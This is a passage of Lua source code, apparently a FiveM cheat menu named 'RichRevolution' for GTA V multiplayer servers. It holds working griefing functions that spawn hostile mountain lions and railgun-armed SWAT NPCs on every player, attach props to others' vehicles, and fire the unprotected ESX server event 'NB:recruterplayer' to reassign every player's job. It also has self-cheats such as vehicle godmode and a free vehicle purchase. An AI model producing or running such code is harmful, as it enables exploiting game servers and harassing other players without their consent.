  5984. Citizen.Wait(0)
  5985. RequestModel(ec)
  5986. end
  5987. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  5988. AttachEntityToEntity(
  5989. ed,
  5990. GetVehiclePedIsIn(GetPlayerPed(i), false),
  5991. GetEntityBoneIndexByName(GetVehiclePedIsIn(GetPlayerPed(i), false), 'chassis'),
  5992. 0,
  5993. 0,
  5994. -1.0,
  5995. 0.0,
  5996. 0.0,
  5997. 0,
  5998. true,
  5999. true,
  6000. false,
  6001. true,
  6002. 1,
  6003. true
  6004. )
  6005. else
  6006. local eb = 'xs_prop_hamburgher_wl'
  6007. local ec = GetHashKey(eb)
  6008. while not HasModelLoaded(ec) do
  6009. Citizen.Wait(0)
  6010. RequestModel(ec)
  6011. end
  6012. local ed = CreateObject(ec, 0, 0, 0, true, true, true)
  6013. AttachEntityToEntity(
  6014. ed,
  6015. GetPlayerPed(i),
  6016. GetPedBoneIndex(GetPlayerPed(i), 0),
  6017. 0,
  6018. 0,
  6019. -1.0,
  6020. 0.0,
  6021. 0.0,
  6022. 0,
  6023. true,
  6024. true,
  6025. false,
  6026. true,
  6027. 1,
  6028. true
  6029. )
  6030. end
  6031. end
  6032. elseif RichRevolution.Button("Spawn moutain Lion On Everyone") then
  6033. local mtlion = "A_C_MtLion"
  6034. for i = 0, 128 do
  6035. local co = GetEntityCoords(GetPlayerPed(i))
  6036. RequestModel(GetHashKey(mtlion))
  6037. Citizen.Wait(50)
  6038. if HasModelLoaded(GetHashKey(mtlion)) then
  6039. local ped =
  6040. CreatePed(21, GetHashKey(mtlion), co.x, co.y, co.z, 0, true, true)
  6041. NetworkRegisterEntityAsNetworked(ped)
  6042. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(i)) then
  6043. local ei = PedToNet(ped)
  6044. NetworkSetNetworkIdDynamic(ei, false)
  6045. SetNetworkIdCanMigrate(ei, true)
  6046. SetNetworkIdExistsOnAllMachines(ei, true)
  6047. Citizen.Wait(50)
  6048. NetToPed(ei)
  6049. TaskCombatPed(ped, GetPlayerPed(i), 0, 16)
  6050. elseif IsEntityDead(GetPlayerPed(i)) then
  6051. TaskCombatHatedTargetsInArea(ped, co.x, co.y, co.z, 500)
  6052. else
  6053. Citizen.Wait(0)
  6054. end
  6055. end
  6056. end
  6057. elseif RichRevolution.Button("SWAT Railgun On Everyone") then
  6058. local swat = "s_m_y_swat_01"
  6059. local bR = "weapon_railgun"
  6060. for i = 0, 128 do
  6061. local coo = GetEntityCoords(GetPlayerPed(i))
  6062. RequestModel(GetHashKey(swat))
  6063. Citizen.Wait(50)
  6064. if HasModelLoaded(GetHashKey(swat)) then
  6065. local ped =
  6066. CreatePed(21, GetHashKey(swat), coo.x - 1, coo.y, coo.z, 0, true, true)
  6067. CreatePed(21, GetHashKey(swat), coo.x + 1, coo.y, coo.z, 0, true, true)
  6068. CreatePed(21, GetHashKey(swat), coo.x, coo.y - 1, coo.z, 0, true, true)
  6069. CreatePed(21, GetHashKey(swat), coo.x, coo.y + 1, coo.z, 0, true, true)
  6070. NetworkRegisterEntityAsNetworked(ped)
  6071. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(i)) then
  6072. local ei = PedToNet(ped)
  6073. NetworkSetNetworkIdDynamic(ei, false)
  6074. SetNetworkIdCanMigrate(ei, true)
  6075. SetNetworkIdExistsOnAllMachines(ei, true)
  6076. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  6077. SetPedCanSwitchWeapon(ped, true)
  6078. NetToPed(ei)
  6079. TaskCombatPed(ped, GetPlayerPed(i), 0, 16)
  6080. elseif IsEntityDead(GetPlayerPed(i)) then
  6081. TaskCombatHatedTargetsInArea(ped, coo.x, coo.y, coo.z, 500)
  6082. else
  6083. Citizen.Wait(0)
  6084. end
  6085. end
  6086. end
  6087. elseif RichRevolution.Button("ESX Set All Police") then
  6088. for i = 0, 128 do
  6089. TriggerServerEvent("NB:recruterplayer", GetPlayerServerId(i), "police", 3)
  6090. TriggerServerEvent("NB:recruterplayer", i, "police", 3)
  6091. end
  6092. elseif RichRevolution.Button("ESX Set All Mechanic") then
  6093. for i = 0, 128 do
  6094. TriggerServerEvent("NB:recruterplayer", GetPlayerServerId(i), "mechanic", 3)
  6095. TriggerServerEvent("NB:recruterplayer", i, "mecano", 3)
  6096. end
  6097. end
  6098.  
  6099. RichRevolution.Display()
  6100. elseif RichRevolution.IsMenuOpened("TeleportMenu") then
  6101. if RichRevolution.Button("~b~TP~s~ To Your Waypoint") then
  6102. TeleportToWaypoint()
  6103. elseif RichRevolution.Button("~b~TP~s~ Into Nearest Vehicle") then
  6104. teleportToNearestVehicle()
  6105. elseif RichRevolution.Button("~b~TP~s~ To Coordinates") then
  6106. TeleportToCoords()
  6107. elseif RichRevolution.CheckBox(
  6108. "Show Your Coordinates",
  6109. showCoords,
  6110. function(enabled)
  6111. showCoords = enabled
  6112. end)
  6113. then
  6114. end
  6115.  
  6116. RichRevolution.Display()
  6117.  
  6118. local ModelName = KeyboardInput("Enter Vehicle Spawn Name", "", 100)
  6119. if ModelName and IsModelValid(ModelName) and IsModelAVehicle(ModelName) then
  6120. RequestModel(ModelName)
  6121. while not HasModelLoaded(ModelName) do
  6122. Citizen.Wait(0)
  6123. end
  6124.  
  6125. local veh = CreateVehicle(GetHashKey(ModelName), GetEntityCoords(PlayerPedId()), GetEntityHeading(PlayerPedId()), true, true)
  6126. if DelCurVeh then
  6127. DelVeh(GetVehiclePedIsUsing(PlayerPedId()))
  6128. drawNotification("Vehicle Just Got Deleted")
  6129. end
  6130. SetPedIntoVehicle(PlayerPedId(), veh, -1)
  6131. local playerPed = GetPlayerPed(-1)
  6132. local playerVeh = GetVehiclePedIsIn(playerPed, true)
  6133. SetVehicleNumberPlateText(playerVeh, "EXERR")
  6134. else
  6135. drawNotification("~r~Model Isn't Valid You Tard")
  6136. end
  6137.  
  6138. elseif RichRevolution.IsMenuOpened("VehMenu") then
  6139. if RichRevolution.Button("Remote Car") then
  6140. RCCAR123 = KeyboardInput("Enter Car Name", "", 1000000)
  6141. if RCCAR123 and IsModelValid(RCCAR123) and IsModelAVehicle(RCCAR123) then
  6142. RCCar.Start()
  6143. else
  6144. drawNotification("~r~Model Isn't Valid You Tard")
  6145. end
  6146. elseif RichRevolution.Button("Repair Vehicle") then
  6147. SetVehicleFixed(GetVehiclePedIsIn(GetPlayerPed(-1), false))
  6148. SetVehicleDirtLevel(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0.0)
  6149. SetVehicleLights(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
  6150. SetVehicleBurnout(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
  6151. Citizen.InvokeNative(0x1FD09E7390A74D54, GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
  6152. elseif RichRevolution.Button("Repair Engine Only") then
  6153. local veh = GetVehiclePedIsIn(GetPlayerPed(-1), false)
  6154. if not DoesEntityExist(veh) then
  6155. drawNotification(
  6156. "~r~You Aren't Sitting In A Vehicle Stupid"
  6157. )
  6158. else
  6159. SetVehicleUndriveable(veh,false)
  6160. SetVehicleEngineHealth(veh, 1000.0)
  6161. SetVehiclePetrolTankHealth(veh, 1000.0)
  6162. healthEngineLast=1000.0
  6163. healthPetrolTankLast=1000.0
  6164. SetVehicleEngineOn(veh, true, false )
  6165. SetVehicleOilLevel(veh, 1000.0)
  6166. end
  6167. elseif RichRevolution.Button("~g~Buy vehicle for free (DON'T USE!)") then fv()
  6168. elseif
  6169. RichRevolution.CheckBox(
  6170. "~s~~h~Ultra Speed",
  6171. Nigubdddddd,
  6172. function(enabled)
  6173. Nigubdddddd = enabled
  6174. end)
  6175. then
  6176. elseif RichRevolution.MenuButton('~g~→ ~s~Vehicle List', 'CarTypes') then
  6177. elseif RichRevolution.MenuButton("~g~→ ~s~LS Customs", "LSC") then
  6178. elseif RichRevolution.Button("Spawn A Custom Vehicle") then
  6179. elseif
  6180. RichRevolution.CheckBox(
  6181. "~s~Rainbow Vehicle Colour",
  6182. RainbowVeh,
  6183. function(enabled)
  6184. RainbowVeh = enabled
  6185. end)
  6186. then
  6187. elseif
  6188. RichRevolution.CheckBox(
  6189. "~s~Rainbow Vehicle Neon",
  6190. ou328hNeon,
  6191. function(enabled)
  6192. ou328hNeon = enabled
  6193. end)
  6194. then
  6195. elseif
  6196. RichRevolution.CheckBox(
  6197. "~s~Rainbow Sync",
  6198. ou328hSync,
  6199. function(enabled)
  6200. ou328hSync = enabled
  6201. end)
  6202. then
  6203. elseif
  6204. RichRevolution.CheckBox(
  6205. "Keep Vehicle Clean",
  6206. LOJWDNDDNDN,
  6207. function(enabled)
  6208. LOJWDNDDNDN = enabled
  6209. end)
  6210. then
  6211. elseif
  6212. RichRevolution.CheckBox(
  6213. 'Speedboost ~g~SHIFT ~r~CTRL',
  6214. VehSpeed,
  6215. function(dl)
  6216. VehSpeed = dl
  6217. end
  6218. )
  6219. then
  6220. elseif RichRevolution.Button("Delete Vehicle") then
  6221. DelVeh(GetVehiclePedIsUsing(PlayerPedId()))
  6222. elseif RichRevolution.Button("Delete Closest Vehicle") then
  6223. local PlayerCoords = GetEntityCoords(PlayerPedId())
  6224. DelVeh(GetClosestVehicle(PlayerCoords.x, PlayerCoords.y, PlayerCoords.z, 1000.0, 0, 4))
  6225. elseif
  6226. RichRevolution.CheckBox(
  6227. "No Fall",
  6228. Nofall,
  6229. function(enabled)
  6230. Nofall = enabled
  6231.  
  6232. SetPedCanBeKnockedOffVehicle(PlayerPedId(), Nofall)
  6233. end
  6234. )
  6235. then
  6236. elseif RichRevolution.Button("Change license plate") then
  6237. local playerPed = GetPlayerPed(-1)
  6238. local playerVeh = GetVehiclePedIsIn(playerPed, true)
  6239. local result = KeyboardInput("Enter the plate license you want", "", 10)
  6240. if result then
  6241. SetVehicleNumberPlateText(playerVeh, result)
  6242. end
  6243. elseif RichRevolution.CheckBox(
  6244. "Vehicle Godmode",
  6245. VehGod,
  6246. function(enabled)
  6247. VehGod = enabled
  6248. end)
  6249. then
  6250. elseif RichRevolution.Button("Flip Up Vehicle") then
  6251. local ped = GetPlayerPed(-1)
  6252. local veh = GetVehiclePedIsIn(ped)
  6253. FreezeEntityPosition(veh,false)
  6254. SetVehicleOnGroundProperly(veh)
  6255. SetVehicleEngineOn(veh, true)
  6256. elseif RichRevolution.Button("Make vehicle dirty") then
  6257. Clean(GetVehiclePedIsUsing(PlayerPedId()))
  6258. drawNotification("~r~Vehicle is now dirty")
  6259. elseif RichRevolution.Button("Make vehicle clean") then
  6260. Clean2(GetVehiclePedIsUsing(PlayerPedId()))
  6261. drawNotification("~r~Vehicle is now clean")
  6262. end
  6263.  
  6264. RichRevolution.Display()
  6265. elseif RichRevolution.IsMenuOpened("tunings") then
  6266. veh = GetVehiclePedIsUsing(PlayerPedId())
  6267. for i, dA in pairs(bd) do
  6268. if dA.
  6269. id == "extra"
  6270. and# checkValidVehicleExtras() ~= 0 then
  6271. if RichRevolution.MenuButton(dA.name, dA.id) then end elseif dA.id == "neon"
  6272. then
  6273. if RichRevolution.MenuButton(dA.name, dA.id) then end elseif dA.id == "paint"
  6274. then
  6275. if RichRevolution.MenuButton(dA.name, dA.id) then end elseif dA.id == "wheeltypes"
  6276. then
  6277. if RichRevolution.MenuButton(dA.name, dA.id) then end elseif dA.id == "headlight"
  6278. then
  6279. if RichRevolution.MenuButton(dA.name, dA.id) then end
  6280. else local as = checkValidVehicleMods(dA.id) for dG, dH in pairs(as) do
  6281. if RichRevolution.MenuButton(dA.name, dA.id) then end;
  6282. break end end end;
  6283. if IsToggleModOn(veh, 22) then xenonStatus = "Installed"
  6284. else xenonStatus = "Not Installed"
  6285. end;
  6286. if RichRevolution.Button("Xenon Headlight", xenonStatus) then
  6287. if not IsToggleModOn(veh, 22) then ToggleVehicleMod(veh, 22, not IsToggleModOn(veh, 22))
  6288. else ToggleVehicleMod(veh, 22, not IsToggleModOn(veh, 22)) end end;
  6289.  
  6290. RichRevolution.Display()
  6291. elseif RichRevolution.IsMenuOpened("performance") then
  6292. veh = GetVehiclePedIsUsing(PlayerPedId())
  6293. for i, dA in pairs(be) do
  6294. if RichRevolution.MenuButton(dA.name, dA.id) then
  6295. end
  6296. end
  6297. if IsToggleModOn(veh, 18) then
  6298. turboStatus = "Installed"
  6299. else
  6300. turboStatus = "Not Installed"
  6301. end
  6302. if RichRevolution.Button("Turbo Tune", turboStatus) then
  6303. if not IsToggleModOn(veh, 18) then
  6304. ToggleVehicleMod(veh, 18, not IsToggleModOn(veh, 18))
  6305. else
  6306. ToggleVehicleMod(veh, 18, not IsToggleModOn(veh, 18))
  6307. end
  6308. end
  6309. RichRevolution.Display() elseif RichRevolution.IsMenuOpened("primary") then RichRevolution.MenuButton("~r~→ ~s~Classic", "classic1") RichRevolution.MenuButton("~r~→ ~s~Metallic", "metallic1") RichRevolution.MenuButton("~r~→ ~s~Matte", "matte1") RichRevolution.MenuButton("~r~→ ~s~Metal", "metal1") RichRevolution.Display() elseif RichRevolution.IsMenuOpened("secondary") then RichRevolution.MenuButton("~r~→ ~s~Classic", "classic2") RichRevolution.MenuButton("~r~→ ~s~Metallic", "metallic2") RichRevolution.MenuButton("~r~→ ~s~Matte", "matte2") RichRevolution.MenuButton("~r~→ ~s~Metal", "metal2") RichRevolution.Display() elseif RichRevolution.IsMenuOpened("rimpaint") then RichRevolution.MenuButton("~r~→ ~s~Classic", "classic3") RichRevolution.MenuButton("~r~→ ~s~Metallic", "metallic3") RichRevolution.MenuButton("~r~→ ~s~Matte", "matte3") RichRevolution.MenuButton("~r~→ ~s~Metal", "metal3") RichRevolution.Display() elseif RichRevolution.IsMenuOpened("classic1") then
  6310. for dS, dT in pairs(bg) do tp, ts = GetVehicleColours(veh) if tp ==
  6311. dT.id and not b8 then pricetext = "Installed"
  6312. else if b8 and tp == dT.id then pricetext = "Previewing"
  6313. else pricetext = "Not Installed"
  6314. end end; curprim, cursec = GetVehicleColours(veh) if RichRevolution.Button(dT.name, pricetext) then
  6315. if not b8 then ba = "paint"
  6316. bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl, oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour) SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id, oldwheelcolour) b8 = true elseif b8 and curprim == dT.id then SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id, oldwheelcolour) b8 = false; ba = -1; b9 = -1 elseif b8 and curprim ~= dT.id then SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id, oldwheelcolour) b8 = true end end end; RichRevolution.Display() elseif RichRevolution.IsMenuOpened("metallic1") then
  6317. for dS, dT in pairs(bg) do tp, ts = GetVehicleColours(veh) if tp ==
  6318. dT.id and not b8 then pricetext = "Installed"
  6319. else if b8 and tp == dT.id then pricetext = "Previewing"
  6320. else pricetext = "Not Installed"
  6321. end end; curprim, cursec = GetVehicleColours(veh) if RichRevolution.Button(dT.name, pricetext) then
  6322. if not b8 then ba = "paint"
  6323. bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl, oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour) SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id, oldwheelcolour) b8 = true elseif b8 and curprim == dT.id then SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id, oldwheelcolour) b8 = false; ba = -1; b9 = -1 elseif b8 and curprim ~= dT.id then SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id, oldwheelcolour) b8 = true end end end; RichRevolution.Display() elseif RichRevolution.IsMenuOpened("matte1") then
  6324. for dS, dT in pairs(bi) do tp, ts = GetVehicleColours(veh) if tp ==
  6325. dT.id and not b8 then pricetext = "Installed"
  6326. else if b8 and tp == dT.id then pricetext = "Previewing"
  6327. else pricetext = "Not Installed"
  6328. end end; curprim, cursec = GetVehicleColours(veh) if RichRevolution.Button(dT.name, pricetext) then
  6329. if not b8 then ba = "paint"
  6330. bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl, oldwheelcolour = GetVehicleExtraColours(veh) SetVehicleExtraColours(veh, dT.id, oldwheelcolour) b9 = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour) SetVehicleColours(veh, dT.id, oldsec) b8 = true elseif b8 and curprim == dT.id then SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id, oldwheelcolour) b8 = false; ba = -1; b9 = -1 elseif b8 and curprim ~= dT.id then SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id, oldwheelcolour) b8 = true end end end; RichRevolution.Display() elseif RichRevolution.IsMenuOpened("metal1") then
  6331. for dS, dT in pairs(bj) do tp, ts = GetVehicleColours(veh) if tp ==
  6332. dT.id and not b8 then pricetext = "Installed"
  6333. else if b8 and tp == dT.id then pricetext = "Previewing"
  6334. else pricetext = "Not Installed"
  6335. end end; curprim, cursec = GetVehicleColours(veh) if RichRevolution.Button(dT.name, pricetext) then
  6336. if not b8 then ba = "paint"
  6337. bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl, oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour) SetVehicleExtraColours(veh, dT.id, oldwheelcolour) SetVehicleColours(veh, dT.id, oldsec) b8 = true elseif b8 and curprim == dT.id then SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id, oldwheelcolour) b8 = false; ba = -1; b9 = -1 elseif b8 and curprim ~= dT.id then SetVehicleColours(veh, dT.id, oldsec) SetVehicleExtraColours(veh, dT.id, oldwheelcolour) b8 = true end end end; RichRevolution.Display() elseif RichRevolution.IsMenuOpened("classic2") then
  6338. for dS, dT in pairs(bg) do tp, ts = GetVehicleColours(veh) if ts ==
  6339. dT.id and not b8 then pricetext = "Installed"
  6340. else if b8 and ts == dT.id then pricetext = "Previewing"
  6341. else pricetext = "Not Installed"
  6342. end end; curprim, cursec = GetVehicleColours(veh) if RichRevolution.Button(dT.name, pricetext) then
  6343. if not b8 then ba = "paint"
  6344. bc = false; oldprim, oldsec = GetVehicleColours(veh) b9 = table.pack(oldprim, oldsec) SetVehicleColours(veh, oldprim, dT.id) b8 = true elseif b8 and cursec == dT.id then SetVehicleColours(veh, oldprim, dT.id) b8 = false; ba = -1; b9 = -1 elseif b8 and cursec ~= dT.id then SetVehicleColours(veh, oldprim, dT.id) b8 = true end end end; RichRevolution.Display() elseif RichRevolution.IsMenuOpened("metallic2") then
  6345. for dS, dT in pairs(bg) do tp, ts = GetVehicleColours(veh) if ts ==
  6346. dT.id and not b8 then pricetext = "Installed"
  6347. else if b8 and ts == dT.id then pricetext = "Previewing"
  6348. else pricetext = "Not Installed"
  6349. end end; curprim, cursec = GetVehicleColours(veh) if RichRevolution.Button(dT.name, pricetext) then
  6350. if not b8 then ba = "paint"
  6351. bc = false; oldprim, oldsec = GetVehicleColours(veh) b9 = table.pack(oldprim, oldsec) SetVehicleColours(veh, oldprim, dT.id) b8 = true elseif b8 and cursec == dT.id then SetVehicleColours(veh, oldprim, dT.id) b8 = false; ba = -1; b9 = -1 elseif b8 and cursec ~= dT.id then SetVehicleColours(veh, oldprim, dT.id) b8 = true end end end; RichRevolution.Display() elseif RichRevolution.IsMenuOpened("matte2") then
  6352. for dS, dT in pairs(bi) do tp, ts = GetVehicleColours(veh) if ts ==
  6353. dT.id and not b8 then pricetext = "Installed"
  6354. else if b8 and ts == dT.id then pricetext = "Previewing"
  6355. else pricetext = "Not Installed"
  6356. end end; curprim, cursec = GetVehicleColours(veh) if RichRevolution.Button(dT.name, pricetext) then
  6357. if not b8 then ba = "paint"
  6358. bc = false; oldprim, oldsec = GetVehicleColours(veh) b9 = table.pack(oldprim, oldsec) SetVehicleColours(veh, oldprim, dT.id) b8 = true elseif b8 and cursec == dT.id then SetVehicleColours(veh, oldprim, dT.id) b8 = false; ba = -1; b9 = -1 elseif b8 and cursec ~= dT.id then SetVehicleColours(veh, oldprim, dT.id) b8 = true end end end; RichRevolution.Display() elseif RichRevolution.IsMenuOpened("metal2") then
  6359. for dS, dT in pairs(bj) do tp, ts = GetVehicleColours(veh) if ts ==
  6360. dT.id and not b8 then pricetext = "Installed"
  6361. else if b8 and ts == dT.id then pricetext = "Previewing"
  6362. else pricetext = "Not Installed"
  6363. end end; curprim, cursec = GetVehicleColours(veh) if RichRevolution.Button(dT.name, pricetext) then
  6364. if not b8 then ba = "paint"
  6365. bc = false; oldprim, oldsec = GetVehicleColours(veh) b9 = table.pack(oldprim, oldsec) SetVehicleColours(veh, oldprim, dT.id) b8 = true elseif b8 and cursec == dT.id then SetVehicleColours(veh, oldprim, dT.id) b8 = false; ba = -1; b9 = -1 elseif b8 and cursec ~= dT.id then SetVehicleColours(veh, oldprim, dT.id) b8 = true end end end; RichRevolution.Display() elseif RichRevolution.IsMenuOpened("classic3") then
  6366. for dS, dT in pairs(bg) do _, ts = GetVehicleExtraColours(veh) if ts ==
  6367. dT.id and not b8 then pricetext = "Installed"
  6368. else if b8 and ts == dT.id then pricetext = "Previewing"
  6369. else pricetext = "Not Installed"
  6370. end end; _, currims = GetVehicleExtraColours(veh) if RichRevolution.Button(dT.name, pricetext) then
  6371. if not b8 then ba = "paint"
  6372. bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl, oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour) SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true elseif b8 and currims == dT.id then SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = false; ba = -1; b9 = -1 elseif b8 and currims ~= dT.id then SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true end end end; RichRevolution.Display() elseif RichRevolution.IsMenuOpened("metallic3") then
  6373. for dS, dT in pairs(bg) do _, ts = GetVehicleExtraColours(veh) if ts ==
  6374. dT.id and not b8 then pricetext = "Installed"
  6375. else if b8 and ts == dT.id then pricetext = "Previewing"
  6376. else pricetext = "Not Installed"
  6377. end end; _, currims = GetVehicleExtraColours(veh) if RichRevolution.Button(dT.name, pricetext) then
  6378. if not b8 then ba = "paint"
  6379. bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl, oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour) SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true elseif b8 and currims == dT.id then SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = false; ba = -1; b9 = -1 elseif b8 and currims ~= dT.id then SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true end end end; RichRevolution.Display() elseif RichRevolution.IsMenuOpened("matte3") then
  6380. for dS, dT in pairs(bi) do _, ts = GetVehicleExtraColours(veh) if ts ==
  6381. dT.id and not b8 then pricetext = "Installed"
  6382. else if b8 and ts == dT.id then pricetext = "Previewing"
  6383. else pricetext = "Not Installed"
  6384. end end; _, currims = GetVehicleExtraColours(veh) if RichRevolution.Button(dT.name, pricetext) then
  6385. if not b8 then ba = "paint"
  6386. bc = false; oldprim, oldsec = GetVehicleColours(veh) oldpearl, oldwheelcolour = GetVehicleExtraColours(veh) b9 = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour) SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true elseif b8 and currims == dT.id then SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = false; ba = -1; b9 = -1 elseif b8 and currims ~= dT.id then SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true end end end; RichRevolution.Display() elseif RichRevolution.IsMenuOpened("metal3") then
  6387. for dS, dT in pairs(bj) do _, ts = GetVehicleExtraColours(veh) if ts ==
  6388. dT.id and not b8 then pricetext = "Installed"
  6389. else if b8 and ts == dT.id then pricetext = "Previewing"
  6390. else pricetext = "Not Installed"
  6391. end end; _, currims = GetVehicleExtraColours(veh) if RichRevolution.Button(dT.name, pricetext) then
  6392. if not b8 then ba = "paint"
  6393. bc = false
  6394. oldprim, oldsec = GetVehicleColours(veh) oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
  6395. b9 = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
  6396. SetVehicleExtraColours(veh, oldpearl, dT.id)
  6397. b8 = true elseif b8 and currims == dT.id then
  6398. SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = false; ba = -1; b9 = -1 elseif b8 and currims ~= dT.id then SetVehicleExtraColours(veh, oldpearl, dT.id) b8 = true end end end;
  6399.  
  6400. RichRevolution.Display()
  6401. elseif RichRevolution.IsMenuOpened("LSC") then
  6402. local veh = GetVehiclePedIsUsing(PlayerPedId())
  6403. if RichRevolution.MenuButton('~r~→ ~s~~y~Handling ~s~editor', 'Hedit') then
  6404. elseif RichRevolution.MenuButton("~r~→ ~s~~g~Performance ~s~Tuning", "performance") then
  6405. elseif RichRevolution.MenuButton("~r~→ ~s~~b~Exterior ~s~Tuning", "tunings") then
  6406. elseif RichRevolution.CheckBox(
  6407. "Super Handling",
  6408. superGrip,
  6409. function(enabled)
  6410. superGrip = enabled
  6411. enchancedGrip = false
  6412. driftMode = false
  6413. fdMode = false
  6414. end)
  6415. then
  6416. elseif RichRevolution.CheckBox(
  6417. "Enhanced Grip",
  6418. enchancedGrip,
  6419. function(enabled)
  6420. superGrip = false
  6421. enchancedGrip = enabled
  6422. driftMode = false
  6423. fdMode = false
  6424. end)
  6425. then
  6426. elseif RichRevolution.CheckBox(
  6427. "Drift Mode",
  6428. driftMode,
  6429. function(enabled)
  6430. superGrip = false
  6431. enchancedGrip = false
  6432. driftMode = enabled
  6433. fdMode = false
  6434. end)
  6435. then
  6436. elseif RichRevolution.CheckBox(
  6437. "Formula Drift Mode",
  6438. fdMode,
  6439. function(enabled)
  6440. superGrip = false
  6441. enchancedGrip = false
  6442. driftMode = false
  6443. fdMode = enabled
  6444. end)
  6445. then
  6446. elseif RichRevolution.MenuButton("~r~→ ~s~Vehicle Boost", "VehBoostMenu") then
  6447. elseif RichRevolution.Button("Max Exterior Tuning") then
  6448. MaxOut(GetVehiclePedIsUsing(PlayerPedId()))
  6449. elseif RichRevolution.Button("Max Performance") then
  6450. MaxOutPerf(GetVehiclePedIsUsing(PlayerPedId()))
  6451. end
  6452.  
  6453. RichRevolution.Display()
  6454. elseif RichRevolution.IsMenuOpened("Hedit") then
  6455. if GetVehiclePedIsIn( PlayerPedId(), false ) ~= 0 then
  6456. if RichRevolution.Button('Refresh Info') then
  6457. chdata = GetAllVehicleHandlingData( GetVehiclePedIsIn( PlayerPedId(), false ) )
  6458. end
  6459. for i,theKey in pairs(chdata) do
  6460. if tonumber(theKey.value) then
  6461. theKey.value = math.floor(tonumber(theKey.value) * 10^(3) + 0.5) / 10^(3)
  6462. end
  6463. if type(theKey.value) == "vector3" then
  6464. local v1,v2,v3 = table.unpack(theKey.value)
  6465. theKey.value = v1..","..v2..","..v3
  6466. end
  6467. theKey.value = tostring(theKey.value)
  6468.  
  6469. if theKey.value and RichRevolution.Button(theKey.name, theKey.value) then
  6470.  
  6471.  
  6472.  
  6473. AddTextEntry('FMMC_KEY_TIP12N', "Enter new "..theKey.name.." value :")
  6474.  
  6475. DisplayOnscreenKeyboard(1, "FMMC_KEY_TIP12N", "", theKey.value, "", "", "", 128 + 1)
  6476.  
  6477. while UpdateOnscreenKeyboard() ~= 1 and UpdateOnscreenKeyboard() ~= 2 do
  6478. Citizen.Wait( 0 )
  6479. end
  6480.  
  6481. local result = GetOnscreenKeyboardResult()
  6482. if result then
  6483.  
  6484. if theKey.type == "vector3" then
  6485. local x,y,z = table.unpack( mysplit( result, "," ) )
  6486. if x and y and z then
  6487. result = vector3(tonumber(x),tonumber(y),tonumber(z))
  6488. else
  6489. break
  6490. end
  6491. end
  6492.  
  6493.  
  6494.  
  6495. SetVehicleHandlingData( GetVehiclePedIsIn( PlayerPedId(),false), theKey.name, result )
  6496. Wait(200)
  6497. chdata = GetAllVehicleHandlingData( GetVehiclePedIsIn( PlayerPedId(), false ) )
  6498. end
  6499.  
  6500.  
  6501. end
  6502. end
  6503. else
  6504. drawNotification("You're not sitting in a vehicle IDIOT!")
  6505. end
  6506. RichRevolution.Display()
  6507. elseif RichRevolution.IsMenuOpened('CarTypes') then
  6508. for i, ex in ipairs(b3) do
  6509. if RichRevolution.MenuButton('~g~→ ~s~' .. ex, 'CarTypeSelection') then
  6510. carTypeIdx = i
  6511. end
  6512. end
  6513. RichRevolution.Display()
  6514. elseif RichRevolution.IsMenuOpened('CarTypeSelection') then
  6515. for i, ex in ipairs(b4[carTypeIdx]) do
  6516. if RichRevolution.MenuButton('~g~→ ~s~' .. ex, 'CarOptions') then
  6517. carToSpawn = i
  6518. end
  6519. end
  6520. RichRevolution.Display()
  6521. elseif RichRevolution.IsMenuOpened('CarOptions') then
  6522. if RichRevolution.Button('Spawn Infront Of You') then
  6523. local x, y, z = table.unpack(GetOffsetFromEntityInWorldCoords(PlayerPedId(-1), 0.0, 8.0, 0.5))
  6524. local veh = b4[carTypeIdx][carToSpawn]
  6525. if veh == nil then
  6526. veh = 'adder'
  6527. end
  6528. vehiclehash = GetHashKey(veh)
  6529. RequestModel(vehiclehash)
  6530. Citizen.CreateThread(
  6531. function()
  6532. local ey = 0
  6533. while not HasModelLoaded(vehiclehash) do
  6534. ey = ey + 100
  6535. Citizen.Wait(100)
  6536. if ey > 5000 then
